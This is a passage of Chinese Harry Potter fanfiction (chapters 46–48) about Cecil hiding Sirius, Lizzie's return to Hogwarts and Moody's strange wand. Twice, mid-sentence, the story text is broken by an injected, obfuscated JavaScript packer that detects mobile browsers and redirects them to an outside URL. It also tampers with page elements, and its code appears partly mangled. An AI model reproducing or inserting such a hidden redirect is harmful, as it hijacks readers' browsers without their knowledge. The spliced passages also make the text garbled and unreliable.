她顿了顿在椅子上坐下,“我现在觉得对着一条狗讲道理让我看起来很滑稽。”说着她将背包里装着的两袋面包与火腿片拿出来,接着又摸出酒壶喝了一口,麦芽威士忌的味道冲进西里斯的鼻腔,大黑狗连打了两个喷嚏。 “我除了能和房梁上的老鼠一家子打交道,只剩下这堆……”西里斯变回来从地上站起身,摸了摸头发揪出一个小跳蚤,“小伙伴了。” “哦,所以你是承认刚刚只是在逗我玩了?”塞西尔要喝第二口时,酒壶被西里斯伸手抢了过去,“你和莱姆斯都是什么臭毛病,总喜欢拦着别人喝酒。” 西里斯笑起来,瘦削的脸庞凹进去,深陷的眼眶周围都是皱纹,但哪怕是这样狼狈的状态,也都保留着当年那位“俊俏的年轻布莱克”的影子,他昂起头将酒壶里剩下的威士忌一饮而尽,然后回道:“那你可看错我了,我只是为了讨一口酒而已。” 拿回空酒壶的塞西尔眉头紧锁一言不发盯着西里斯,直到把他盯得头皮发麻,她才走向破破烂烂的卫生间,在里面叮叮当当好一阵鼓捣,破旧的水管发出了奇怪的喊叫声,像里面藏了一群春夏季的野猫。过了一会儿又变成了间断的“噗噗”声,许久未使用的水龙头喷出的都是深褐色的掺着水锈的液体,直接弄脏了塞西尔的上衣,她一边在心里把这笔账记在了莱姆斯·卢平身上,一边反问自己就算西里斯被跳蚤吃光了又会怎么样。 于是她突然回头,发现男人正饶有兴致地看着她为他服务的样子,破罐子破摔似的把湿透的斗篷扔在地上,又举起魔杖挥了两下,背包里那些瓶瓶罐罐便飞进了卫生间,整整齐齐在水池旁排列好,几乎都是宠物用的洗剂和药水。 “你这不是做好准备了吗?”西里斯说着便故意当着她的面要解开衬衣的纽扣,接着两手摊开看向她,“我也做好准备了。” 完全没有被影响到的塞西尔扯过他敞开的衣领里,用魔杖狠狠戳在他的胸口,一字一顿命令道:“变、回、去。” 挑了挑眉一耸肩,西里斯弓起身子一眨眼又变成了那条大型长毛犬的模样,不过他的心情确实看起来很不错,因为他下一秒就跳进了装满水的池子里,溅了塞西尔一身的泡沫。塞西尔自然也没有放过他,把水量调到最大拿起莲蓬头对着他狠狠地从头冲到脚,期间还报复性地拍了好几下他的脑袋,西里斯刚要叫唤着抗议,她不知从哪里找出的皮质嘴套,眼疾手快直接给他装上了。 “你再叫呀,”塞西尔脸上是得逞似的笑容,“哦,我是不是没有提醒你,跳蚤太多实在除不干净的话,我就要剃光你的毛了。” 话音刚落无法出声的西里斯瞪大了双眼,但是已经来不及了,因为塞西尔用咒语将他牢牢锁在水池里,然后一脸愉悦地左手拿起一把骇人的银色剪刀,右手又打开了一把电推子。他已经逐渐忘记了自己一开始只是想给这个古怪的女人添点麻烦,因为他在阁楼里实在憋得太无聊了,而等到全身的毛被剃得秃一块有一块的时候,他才意识到来找乐子的人根本就是她。 站在镜子前看了很久自己的新发型,短短的发茬有点扎手,原本被长发盖住的或新或旧的伤口都露了出来,西里斯潦草套上了干净的衣服,刚要打开卫生间的门要对她说些什么,就见塞西尔把空白的信纸跟羽毛笔留在桌上,和往常一样,她总是会站在门口等他写完信,然后便会回到伦敦。他悄悄看了一眼房门外的影子,没有再开口而是埋头开始给哈利写信。 才写了几行字,只听得一声轻微的爆炸声响,她倏然间消失在了走廊上,西里斯慌忙去拧门把手,再次被咒语弹了回来,先前也有过一次塞西尔闷不吭声幻影移形离开了,那时候还无法信任她的西里斯在房间里疯狂地嚎叫,还试图将门撞毁,结果只是被门锁不断弹开,阁楼变得一团糟。之后她也没有给过任何解释,这时常让西里斯有一种自己和世界完全隔绝的错觉,明明已经离开了阿兹卡班,却还是没有任何变化。 这一次平静的西里斯试图让自己接受现实,因此他选择继续将信写完,只不过他没有料到在将信纸对折塞进信封之后,他又听见了爆炸声,出现在房间的塞西尔模样的有些狼狈,头发上还有树叶,她表情不太好看。 “我们得找新的地方了,这里还是离英国太近了。”她说着把那个眼熟的行李箱在他面前打开,“进来吧,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487833|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带你离开。” “你总该告诉我又发生了什么吧?”西里斯真是快受够了。 “到安全的地方我和你解释。”行李箱里的莱姆斯·卢平探出半身子然后朝他伸出手。 “快下去吧!”对好友重逢的剧情一点都不感兴趣的塞西尔将西里斯二人一起推了下去,听到俩人重重落地的响声,她很不走心地道了声对不起同时锁上箱子,又挥动魔杖将阁楼房间恢复成租住前的模样,接着改变自己的外貌,最后一个人淡定地走出了公寓楼,好像从未来过这里一般。 在回去的火车上,塞西尔在脑海里整理着最近发生的事情,先是出门度假就再也没有音讯的伯莎·乔金斯,然后是魁地奇世界杯营地的黑魔标记,跟着今天竟然会有人有胆量闯进穆迪的院子,卢平正要去给穆迪送黑魔法防御课的教案,在街口就听到了不远处的巨响声,他跑上前时差点被发了狂的垃圾箱暗算了。没过多久魔法部便来了几个人处理这件事,卢平躲在角落偷听他们的讲话,这才知道了因为黑魔标记的事情,福吉已经私下里派人在寻找“已身亡”的布莱克。 很显然,每件事看起来都毫无关系,但塞西尔还是觉得太蹊跷了,她清楚记得乔金斯和她说的最后一句话:“真是太好了,我今天可以早点下班了,克劳奇先生让我帮忙去送几张决赛门票。”既然如此,她又怎么可能第二日就跑去阿尔巴尼亚度假呢。 可惜的是塞西尔来不及将所有的想法连成线,在替西里斯找到新的藏身之处后,她又接到迪戈里先生交待的任务,在霍格沃茨开学前再去一次罗马尼亚,确定好运送龙入境的时间,安排好临时安置地点。除此之外,邓布利多也让她继续留意神秘人余党的动静,有任何不妥的都要告诉他,塞西尔甚至记不起上一次在自己的公寓床上躺下一觉睡到天亮是什么时候了。 前两日总算有了空闲,她本想去找穆迪聊聊,可他竟难得一见生了病,看起来状态非常糟糕,塞西尔便不好多打扰,只顺走了桌上半瓶酒就匆匆离开了。回到家时,班克刚好等在窗前,她随手把酒瓶放在碗柜上,走过去拿过信封拆开,还好莉兹一直都会给自己写信,毕竟这已经是她最近的生活里唯一称得上是美好的事情了。 亲爱的塞西尔 你寄来的礼服裙我收到了,虽然我不知道为什么要送我裙子,但是它真的很漂亮,我很喜欢。 上次经过破釜酒吧时我看到你了,不过你好像很忙的样子,走得很快,我来不及和你打招呼。你这个夏天是不是没有休息过,我觉得你的样子很疲惫,记得要好好照顾自己。 之前我收到了OWLs的成绩单,很意外,我的草药学也拿到了优秀,只是我新学期不会再选它了,它实在不太适合我。 还有一件事我没有告诉你,爷爷卖出了我做的魔杖,给一个马上要入学的新生,我从来没有觉得一件事像这件事一样让我感到满足。 对了,你说修不好的魔杖我也做了一根一模一样的,有空的话你可以回来拿,爷爷放在了柜台抽屉里。 其他的事情就下次再聊了,妈妈在催我训练。 愿你一切都好。 在普德米尔球场边偷偷写信的莉兹 46. 那件不能说的大事 魁地奇世界杯决赛夜里的黒魔标志让米歇尔陷入了不必要的担忧之中,隔天早晨伍德先生亲自将莉兹送回了对角巷后,米歇尔甚至没有留给女儿和男友告别的时间,一边说着非常感谢一边将她拉进门,并检查了她背包里所有的东西——一件一件翻出来扔在沙发上,绿色的爱尔兰魁地奇国家队斗篷、露西娅签名的球衣、盖着德米特洛夫章戳的球票、一包打开过的太妃糖、一沓皱巴巴的空白信纸……看见那里面夹着一封写满了字的信时,她停住了手上的动作,直到瞥见落款上的“乔治”时才装做什么事都没发生似的,挥了挥魔杖让它们又回到了背包里。 莉兹发现米歇尔很明显是松了一口气,幸好她一早就猜到妈妈会来这么一出,所以昨天便把塞西尔寄来的信都扔进了火堆里。本以为这样就能打消妈妈的疑虑,但没想到这其实只是一个开始。假期剩下的日子里,莉兹几乎成为了米歇尔的腿部挂件,无论米歇尔是去魁协开会还是去普德米尔训练,她都会把她踹在身边,要求她寸步不离,哪怕只是去洗手间都必须报告。每晚还规定熄灯时间并强迫她入睡,确保她不会在夜里偷偷摸摸和那位叛逆的姑姑联系。 那几天伍德只是在训练休息间隙和莉兹多说了两句话,他也会觉得自己被多余的视线注视着,这样的情况似乎到开学前最后一日都没什么变化。 “别在意,她没在瞪你。”莉兹轻叹一口气,微微侧身从怀里摸出一封叠成小方形的信塞进伍德的裤子口袋里,“米拉尼尔知道要寄给谁,帮我一把。” 大约是皮带系得有些松垮,她的手伸进来的时候不小心碰到了边上的锁扣,伍德下意识后退了半步,耳朵突然变得通红。 “别躲,会被看到的。”莉兹一双圆眼睛睁得大大的,脱口而出的话在伍德听来又成了另一种刺激,这下他整张脸都涨红了,半句话都说不出来,只能用力点了点头。 被高强度监视的莉兹逐渐习惯了这种氛围,实际上她并不觉得这和以前有什么区别,只不过从前是她在思维上被妈妈全方位掌控着,而现在连行动都被限制了而已,反抗没什么用,毕竟马上就要去学校了,扮乖几天取得米歇尔的信任最是紧要。 显然这确实起到了一些作用,当莉兹终于结束了夏天最后一次在普德米尔的训练回到家之后,她将收拾完的行李箱打开放在一楼主动要求检查,米歇尔很是信任地扫了一眼,没有再说任何话,只是提醒她外面已经下起了大雨,明天大约要早半小时出门了。 弯腰锁上行李箱,莉兹又举起一块小饼干招呼班克进笼子,接着转身上了楼。拉窗帘前她探头看了眼窗外,豆大的雨点砸在玻璃上,呼啸的风声在耳旁像是轰鸣,前段时间天晴了好些日子,伦敦竟把雨水都留到了这时候,这可真不是什么好兆头。 阴沉沉的雨天看不出白天还是黑夜,尽管莉兹已经特意早睡了,睁眼时仍然觉得很艰难,整个人仿佛被封印在床铺上一般,她用尽全力才挣脱了被子的束缚。空气都是湿漉漉的,站在镜子前整理着衣服,她看到自己前额的碎发打着卷,恼人的很。恶劣的天气让本就拥堵的飞路网通道更加忙碌,莉兹必须承认,和心情焦躁的米歇尔在餐桌前面对面坐着不是什么很好的体验,她埋头吃完了两份松饼,肚子被撑得滚圆的,即便如此她们还是足足等待了将近四十分钟。 也许是一种错觉,莉兹感觉今年的开学日和以前不太一样,从酒馆小巷出来到九又四分之三站台只有几分钟的步行距离,往年米歇尔都是这样送她去上学的,麻瓜们有时会注意到女人出挑的身高和着装,而巫师们偶尔也会有一两个在穿过月台后上前同她打招呼要个签名,但像是这样的关注度是前所未有的。想来是世界杯带来的热度完全没有减退,越来越多的人凑上前来将她们母女俩围住,莉兹推着的行李车甚至被人群推到了一边,米歇尔回身将女儿护在身前,小声说:“先上车,行李马上再说。”接着两个人便一步一步挪向即将开动的火车。 “请让一让,让一让……” 只见两个男生一前一后穿过人群,他们中的一个人拉回了被推远的行李车,一个人追上前接过了莉兹手里的光轮1700。扫帚突然脱手吓了她一跳,她立马转头去看是谁这么大胆竟然敢直接抢东西,对上的却是伍德一张憨憨的笑脸,和他身旁笑盈盈的完美先生。 “哦奥利弗——”米歇尔比莉兹还先放下心来,她拍了拍队员的肩膀,将女儿直接留在了原地,自己转身面向激动的球迷们。 此时蒸汽火车喷出了更多的浓烟,像有黑乎乎的影子笼罩着站台上所有人,身后追着要签名的人们的嘈杂声之中不知谁的猫头鹰发出了刺耳的叫声,一团混乱下伍德牵过莉兹的手快步奔向前,识相的塞德里克跑得比他们还快,一转眼就带着行李跳上了火车。 “我以为你今天不会来的。” 站在车门前莉兹的语气平淡,只是在陈述事实,因为她知道就算主教练不在场,队训每日也会照常进行,而像奥利弗·伍德这样的人怎么可能会错过任何一次训练。 伍德紧抓着扫帚的那只手用了点力气以缓解自己的紧张,他克制住自己眨眼的频率,酝酿了好一会儿回道:“你去学校之后我们就见不到面了,所以……所以我想着今天至少还可以再见你一次。” 莉兹别过脸将笑容强行咽下去,眼里饱含的笑意还是出卖了她的情绪:“昨天才见过的呀木头先生。” “可明天就见不到了啊。”伍德不假思索说出了真心话,很显然这个暑假的朝夕相处让他忘记了自己已经是个毕业生,而霍格沃茨不巧又是个寄宿学校。 “真没想到之前能一个月不联系人的家伙现在会说出这种话。”莉兹轻笑出声。 “那是……那是因为……”不善言辞的伍德果然又词穷了。 “放心吧,我不是你,我会写信的。”莉兹不再故意逗弄他了,正要伸手去接自己的扫帚时,伍德借着她靠近的力气将她拉近,俯下身吻了吻她的脸颊。 “假期再见。”伍德轻声在她耳边说,松手的同时又被她扯着拉回来,唇上留下柔软的触感,眼前也被印下她轻点头微笑的模样,直到火车缓缓驶离车站,他还呆呆在回味。 这糟糕的天气完全没有影响到大家返校的心情,哪怕只是聊魁地奇世界杯的话题都能让每节车厢都热闹起来,莉兹一上车就和塞德里克去了级长包厢,她实在不愿在逃离了拥挤的月台后立刻就得面对聒噪的玛丽埃塔,她觉得她这位室友一定会对她同伍德的事情刨根问底,因为她见识过她是怎么缠着秋问东问西的。或者她不来问这些,反而是喋喋不休为什么戴维斯一个暑假都没有回她的信,那听起来更可怕 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一项已经停办了几个世纪的国际赛事对现在的学生而言也不陌生,魔法世界的孩子们在太多的故事书中听说过它,那总是伴着冒险与刺激的传奇最能吸引不爱循规蹈矩的十几岁青少年。 看来先前塞西尔一直在信里提到的那件不能说的大事就是这件事了,莉兹倒是对争霸赛的内容兴趣平平,她只是一想到比赛开始后塞西尔会常驻在霍格沃茨校内,这让她的心情变得很愉悦,与伍德分别的不舍都被稀释了一大半。 “那十月开始比赛的话,魁地奇呢?”罗杰·戴维斯抬手示意,开口问杰姬。 “哦,我忘了说这件事了是吗?”身为赫奇帕奇校队击球手的她露出遗憾的表情,“魁地奇校队的朋友们,因为霍格沃茨无法兼顾两种赛事,所以魔法部决定取消今年所有的校内魁地奇比赛,各队的选拔也会停止。” 戴维斯的表情一瞬间阴沉下来,好不容易当上了校队队长,他花了一整个假期想着要如何让队友们认可他就是比莉兹更适合成为队长,没料到会不凑巧撞上这样的国际赛事,只不过他的失落没有延续两分钟,很快他就将注意力放回到三强争霸赛上,要是他能被选中成为霍格沃茨的勇士,那一定会是比队长更加亮眼的荣耀。 “你看起来似乎很感兴趣,”见塞德里克也在认真研究着文件的每一条,莉兹随口问,“迪戈里先生想成为勇士?” “不觉得这会很有意思吗,去面对未知的挑战?”塞德里克眼里充满了期待。 “你要是这么说的话,”莉兹思索了一会儿,“好吧,我认同你。” “到时候你也试试一起参选。”塞德里克邀请道, “那还是算了,选你可以,不要选我。”莉兹摇摇头。 “别算了啊,就像抽奖一样重在参与。”塞德里克侧过身来看向她。 “你知道火焰杯是有魔力的吧,”莉兹也回头看他,“就像魔杖,那叫‘选中’,那不是运气。” “说不定我们都不是‘被选中的人’呢。”塞德里克倒是想得够洒脱。 可莉兹知道自己也许很容易会对“被选中”这件事耿耿于怀,为了不再思考这件事,她转移了话题:“幸好奥利弗今年毕业了。” “是啊,一年没有魁地奇比赛,这比让他死还难受。”说着俩人同时笑了起来。 47. 试着做一次好事吧 暴雨连绵直到火车驶过霍格莫德村的时候都还不见停止,窗外的天空黢黑看不到一点亮,只有拉着帘子的包厢内透出昏黄灯光隐约了照亮了周围的树林。秋叫醒了打着瞌睡的玛丽埃塔,就快到站了,得去换巫师袍了,拉开包厢门时刚巧撞上回来的莉兹,她嘴里含着一根甘草棒棒糖,手里还抓着好几根。 “这个是你的,”莉兹特地从里面挑出了一根贴着纸条的塞到秋的口袋里,“剩下的我们分掉吧。” 秋脸颊一红低声说了句谢谢,然后抱着巫师袍快步走向前,玛丽埃塔立马也拿过一根糖追了上去,同时还说着:“哎呀迪戈里又给你写什么了?” 莉兹进门和坐着的佩蒂尔姐妹俩打了个招呼,把糖轻轻抛给她们,接着便转身踮脚去够自己的行李箱,打开锁扣拽出了放在最上层的巫师袍。这是出发前新做好的,旧的那件袖子短了不少,她终于是在这个暑假迎来了自己青春期迟到的最后一次发育,身高抽条了两英寸,胸围涨了一些,陪了她快十七年的婴儿肥消失了一大半,她再也不会被不熟悉的同级生认成是低年级学生了。 穿上新巫师袍的时候莉兹还在心里想着,原来十七岁来得这么快,下月初到来时她就会脱离魔法部的监管成为可以自由使用魔法的成年人,时间可真是奇妙。 不一会儿火车便靠站了,女生主席杰姬没叫得住几个不听话的新生,他们一溜烟窜出车门,在湿滑的地面上仰面摔倒,撞到了彼此的鼻子,有个男孩的鼻梁当场就歪了,鼻血流出来弄脏了衣领。她只能和准备领着新生去乘船的海格说明了情况,然后向刚从前面一节车厢走出来的莉兹挥手示意,想让她带着男孩去一趟校医院。 这么不凑巧被杰姬抓了壮丁,莉兹也不好拒绝,便点了点头,她摸着在叫唤的肚子,希望自己赶到礼堂的时候还能吃到一份小羊排。 好在庞弗雷夫人对这些小磕小碰的治疗早已烂熟于心,仅仅用了一个简单的咒语就帮男孩止住了鼻血,只是修复鼻梁的过程还是有些残忍,莉兹偷拿了两粒棉花球塞进耳朵里后退了两步,男孩惨叫的声音还是穿透了她的耳膜,震得她太阳穴有点抽痛。 穿过走廊回礼堂的一路上,男孩都在低声抽泣,莉兹其实很想提醒他,按照姓氏首字母来看他大约是最后一批参加分院仪式的新生,这幅表情可是会长时间留在同级生记忆里的。然而莉兹也不算是个擅长安慰人的高年级,虽然戴着级长徽章,但真要去关心其他人,那还不如让她去打扫猫头鹰棚屋。不是她不愿意做好人,只是她知道自己很难说出合时宜的好听的话。 犹豫了一阵她摸出了口袋里最后一根甘草棒棒糖,上前轻轻拍了拍男孩的肩膀:“嘿,格雷厄姆,我现在需要你深吸一口气。” 等他转身时,她一边擦掉他的眼泪,一边把糖放在他的手心,继续说:“看到那扇门了吗,一会儿你要一个人走到最前面,当麦格教授将分院帽戴在你的头上之后,它会将你分进最适合的学院。所以,你要以最真实的模样面对它,无论是展现出你的智慧或是你的勇敢还是你的野心与慷慨。” 她又举起魔杖清理了他衣领上的血渍,弄干了他湿漉漉的头发,最后问道:“那么普里查德先生,你准备好了吗?” “准……准备好了。”男孩点头,礼堂大门缓缓开启,他进门前回头又看了莉兹一眼,她仍旧是面无表情、一脸波澜不惊的模样,但贴心的鼓励话语却留在了他心里。 趁着大家的注意力都在前方,莉兹悄悄走到了拉文克劳长桌找了空位坐下,才稍稍放松了一些就有人突然从后戳了戳她的脸颊,她应激似的瞪圆了双眼向左转身,发现罪魁祸首满脸笑嘻嘻的乔治正在右边看着她:“两个月不见,小古板女士可真冷淡啊。” “两个月不见,您二位也是一点都没长大啊。”莉兹不甘示弱回道。 “怎么连带上我了?”弗雷德也加入了对话,“小古板女士这不公平。” “你们血脉相连、一心同体,没什么公平可言,”莉兹说着伸出手指同时戳了一下俩人的脸颊,“这才叫公平。” 这时候分院帽喊出了“拉文克劳”,莉兹身旁的同学们高声欢呼着,打断了三人的玩闹,也把她的注意力拉回到宴会上。 格雷厄姆小跑着走过她身后:“谢谢你,莉兹。” 听到男孩的道谢,难她微微笑起来对着他说:“格雷厄姆,拉文克劳欢迎你。”得做一次好人好事的莉兹突然觉得胃里有股暖流,这让她的心情意外变得有点不错。 邓布利多校长刚一宣布宴会开始,所有人面前瞬间就出现了成堆的美食,早就饿坏了的莉兹不假思索夹了两块小羊排到自己的盘子里,又拿了一份蛋奶布丁过来,还给自己的杯子里倒了满满的橙子汁,她发誓接下来的半小时,自己一定要一心一意对付这些肉和甜品,直到自己撑得说不出话为止。 尽管看起来发育了不少,莉兹也改不掉总是一吃起来就不知节制的坏毛病,礼堂最前面的邓布利多校长已经开始说明三强争霸赛的注意事项了,她还在努力把堆到嗓子眼的食物咽下去。突然炸开的震耳欲聋的雷声,吓得让她差点把肚子里的晚餐全都吐在桌子,所有人纷纷转身看向被撞开的大门。 莉兹揉着撑到滚圆的肚子,潦草打量着这个走进门的陌生男人,他戴着兜帽拄着拐杖,走得一瘸一拐,猛地又是一道闪电划过天花板,他摘下兜帽露出一头灰白色长发,莉兹想这应该就是塞西尔在信中经常提到的阿拉斯托·穆迪了,只是她每次说起时都是用很轻松的语调,没想到真人竟是这副模样。 伸长脖子去瞧他别在腰间的魔杖,那比寻常巫师使用的要短不少,若是握在手里的话只能看到前面点一截,她猜测材质是雪松木的,看起来弹性不大。匆匆一瞥难以看清使用的杖芯,不过以莉兹观察魔杖的经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487835|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说,魔法部傲罗出身的巫师的魔杖大多都是龙心腱之类的杖芯,这种魔杖能够承受强大的黑魔法攻击,而这样的人通常也很适合傲罗这份工作。* 第三道闪电落下,雷声消失后有一阵短暂的寂静,所有的学生被这个奇怪的男人吓到,连邓布利多校长介绍他就是新来的黑魔法防御课教授时整个礼堂也只剩下呼吸声,除此之外便是一片死寂。这时莉兹又听见了那种细微的声音,寻着源头找过去,没错,是穆迪的魔杖,为什么会有抵抗的声音出现,他的魔杖在排斥他。 可惜她的沉思很快被韦斯莱斯双胞胎兄弟的喊叫声给掩盖了,因为校长才宣布了本届三强争霸赛唯一增加的新规则,那就是参赛选手必须年满十七岁,这将明年四月才满十七岁的双胞胎二人无情踢出了参赛队伍。不知是不是一件好事,莉兹·奥利凡德却成了少有的拥有参赛资格的六年级学生,比她还要更早过生日的塞德里克·迪戈里自然也一样。 很快地,三强争霸赛就成为了学生们课余讨论话题的榜首,几乎人人都要畅想一下若是自己被选中成为霍格沃茨的勇士的场景,莉兹却只惦记着穆迪的那根魔杖,作为一个资历深厚的退休傲罗,怎么可能会出现魔杖拒绝主人的情况,这太稀奇了,如果穆迪教授看起来好接近一些,她甚至都决定主动去他办公室打听打听了。她毕竟不是塞西尔,不是疯眼汉的好朋友,只能忍耐着好奇心等待时机吧。不过她把自己的疑问写进了信里寄给了塞西尔,希望她之后为了比赛来霍格沃茨工作的时候能给自己一个同穆迪教授交流的机会。 在OWLs考试中几乎拿下全优的莉兹在六年级时并没有选择太多门课,开学日一大早戴维斯看到她课表的时候还嘲笑她不知为未来做打算,像这样选课的话毕业以后可没机会进魔法部。 “听说你的魔咒课成绩是良好呢,不过没关系,我想弗里维院长还是会接受我们的魁地奇校队队长去上他的高级咒语课的。”莉兹抬手朝他挥了挥,“教室见,戴维斯先生。” 又是一句话让对方成功噎住,莉兹在和戴维斯斗嘴的战绩上总是全胜,她说罢一口喝掉杯子里剩下的牛奶站起身,抱起课本擦过他的肩膀走出礼堂,气得戴维斯在原地满脸通红。 “不愧是小古板女士啊。” “一张口就是杀人于无形。” 乔治从大门左边探出头,弗雷德从大门右边探出头,两个人一唱一和,已经习惯了不会再被兄弟俩人吓唬到的莉兹清了清嗓子站定,刚准备开口时,乔治提前上前拉过她的袖子,接过她手里的课本说道:“上课去咯。” “所以你们俩通过的三门课里就有一门是弗里维教授的课?”莉兹问。 “是的,真不错,刚好能和拉文克劳一起上呢。”乔治笑着回道。 *穆迪的魔杖我没有找到官方的根据所以是按照我的猜测设定的,雪松木适合忠诚而坚定的人。 48. 活在过去的人 很显然福吉宣称要找布莱克这件事只是一个烟雾弹,他借《预言家日报》之口推翻了先前魔法部已经击杀布莱克的事实,只是为了以后能将一切无法解决的事件都引到这位逃犯身上,让民众们有一个对象去恨、去忌惮。 不过塞西尔在收到金斯莱的提醒之前已经带着行李箱从巴黎暂时赶回了伦敦,卢平在破釜酒吧长租的那房间可藏不了一个人,或是一条狗,于是布莱克最新的藏身之处便成了她在泰晤士河畔的公寓房,而她自己则是奔波在罗马尼亚的野生驯龙场和霍格沃茨之间,一边是要提前搭建好能控制住几条龙的笼子,一边是要不断和驯龙师沟通,好在查理·韦斯莱和他的父亲亚瑟一样,性格开朗、工作负责,给塞西尔省了不少麻烦。 把一条大黑狗丢在公寓里差不多过去了一个礼拜,塞西尔才终于再次露了面,傍晚时分,房东太太正巧在楼下收信件,她主动跟她打了个招呼:“哈奈特夫人,麻烦您这周帮我照看狗了,我会很尽快把它从公寓带走的。” “哦不用这么着急的,”房东将信件拿在手里抬起头看向她,“其他住户认为养狗没有问题,何况它大约是我见过最通人性的狗了,我们都很喜欢它。” 不知是不是因为听到了有人在夸奖他,二楼的楼梯扶手之间冷不丁冒出一个黑乎乎、毛茸茸的大脑袋,一条黑狗探头探脑摇着尾巴,从楼上跑下来,十分熟练地在塞西尔脚边停住,然后低声汪了一下。 伪装能力高超的巫师塞西尔见过不少了,像这种伪装到信念感如此深厚的,她也是第一次接触,微微皱起眉头,她只能配合西里斯这出戏弯腰揉了揉他的头,接着立马招了招手将他吆喝回房间。 进门之前塞西尔给门把手施了一个简单的麻瓜远离咒语,这样无论是谁要来敲门都会突然想起有什么急事没做。预防措施做好,她刚要开灯,却发现几分钟前还趴在地毯上汪汪叫的黑狗摇身变回了男人的模样,他赶在她伸手前按下了开关,光亮瞬间填满了整个空间。 “我确实应该习惯你这似人非狗的状态了。”塞西尔摇了摇头长叹一口气,说着走到餐柜前,和平时一样打开最下层的柜子,上一秒还告诫自己要平静的人猛地把微笑着的男人逼到了窗台,她瞪大了双眼,拿着空酒瓶的手在抖,尝试深呼吸了三次以后,她咬牙切齿念出他的全名:“西里斯·布莱克,你拿什么赔给我!” 柜子里一共就藏着三瓶酒,一瓶白兰地、一瓶麦芽威士忌,还有她先前从穆迪那里顺来的小半瓶不知道是什么的酒,她自己甚至还没抽出空来喝上一口,结果全便宜了眼前的布莱克。常理来说,巫师并不崇尚暴力,但塞西尔此刻只想把空酒瓶砸在他那张俊俏过人的脸蛋上。 西里斯完全没把愤怒状态下的塞西尔当回事,他按着女人的肩膀将她缓缓推开,而后从她手里接过了那个空酒瓶说道:“不过塞西尔,我必须要告诉你,开过封的这瓶威士忌味道太奇怪了。” “这怎么可能呢,”塞西尔往旁边挪了半步,倚靠在窗台边,“阿拉斯托对酒的品味可是全伦敦最可靠的。” 西里斯两手一摊:“万事总有意外的,何况疯眼汉的品味。” “这也不是你喝光我另外两瓶酒的理由。”塞西尔反驳。 “说实在的,让我时刻保持清醒实在太残忍了,”西里斯嘴角撇了撇,“你对此很清楚,不是吗?” 一时语塞,塞西尔转过身面向窗外,河畔的路灯霎时亮起,在她一头翠绿的短发上罩了一层金色,视线所及处一只雪白的猫头鹰越飞越近,擦过她的脸庞,稳稳落在男人的肩上。 “你这位教子的猫头鹰可真是太显眼了……”塞西尔见西里斯急匆匆地取下羊皮纸卷,结果话音刚落米拉尼尔也跌跌撞撞飞了进来,她急忙从口袋里摸出最后一块焦糖饼干,熟门熟路地用食物跟它交换信件,不过它腿上绑着两卷羊皮纸,塞西尔拆下一个刚要拆第二个时,米拉尼尔狠狠咬了她的手指,疼得她叫出了声。 这下开口评价的则换成了西里斯,他将哈利的信捏在手里,轻轻挑眉说:“活到这个岁数,唯一能够通信的对象只剩下了侄女和教子,多么滑稽啊。” “是啊真滑稽,你的朋友不是还有房梁上老鼠一家吗?”塞西尔轻哼一声,背过身拆开了莉兹的信。 亲爱的塞西尔 开学了,我终于解放了,指的是我总算不用再看米歇尔女士的脸色,每天战战兢兢生怕又做错了什么。 原来你之前说没办法告诉我的大事就是三强争霸赛,虽然我对参赛没有兴趣,但是我确实很想知道都会有什么样的难关需要勇士们去解开,毕竟邓布利多校长说这届只有超过十七岁的学生才能报名,那就是勇士必须要掌握高级咒语的使用,更要有稳定的魔力,或许智力也是必要的,对吗? 我想你大概让我自己去试试,这样就会知道所有的答案,可是尽管我下个月初就满十七岁了,我还是不觉得自己已经是个成年了(当然了我对高级咒语还是很有自信的)。十七岁离我现在只有二十几天而已,为什么现在的我就会被当成是受保护对象,而二十多天之后的我就会脱离魔法部的保护,长大看起来好像是只需要跨过那一天就能完成的事情。 不说这个话题了,我有一件很在意的事情想要告诉你,这学期我们的黑魔法防御课教授是阿拉斯托·穆迪,我记得你说过和他是好朋友,如果你之后来霍格沃茨出差的话,能给我一个机会看看他的魔杖吗,开学典礼那天我听到了很奇怪的声音,穆迪教授的魔杖在排斥他。 期待万圣节之后在学校见到你。 希望你一切都好。 P.S另一封信是顺便给奥利弗的回信。 在图书馆写变形课论文的莉兹 小姑娘果然是什么时候都把魔杖放在第一位,塞西尔撕下一截空白的羊皮纸走到餐桌边,跟西里斯两个人面对面埋头写着回信,桌上只有一瓶墨水,羽毛笔蘸墨时不小心碰到彼此,二人抬头对视了一眼,同时想起刚刚说的那句“滑稽”,竟是又默契地一起笑了出来。 塞西尔不知自己在笑什么,西里斯却很是清楚,在她垂下眼眸灌下一口又一口的烈酒时,她看起来和他一样都是仍然活在过去的人,他将自己留在十几年前神秘人闯进戈德里克山谷波特小屋的那一天,而她将自己留在了湖底。 米拉尼尔直到第二天早晨才飞到了霍格沃茨,它飞过拉文克劳长长的桌子,将两封信掉落在莉兹手边,她便将盘子里剩下的吐司边都递给了它。 自从暑假里征用了伍德的猫头鹰用来和塞西尔通信之后,米拉尼尔从某种意义上已经变成了莉兹的第二只猫头鹰,不过它的任务只有两个,一是帮她给伍德送信,二是帮她给塞西尔送信,如果猫头鹰邮件也有专属航线的话,这便是属于莉兹的两条航线。 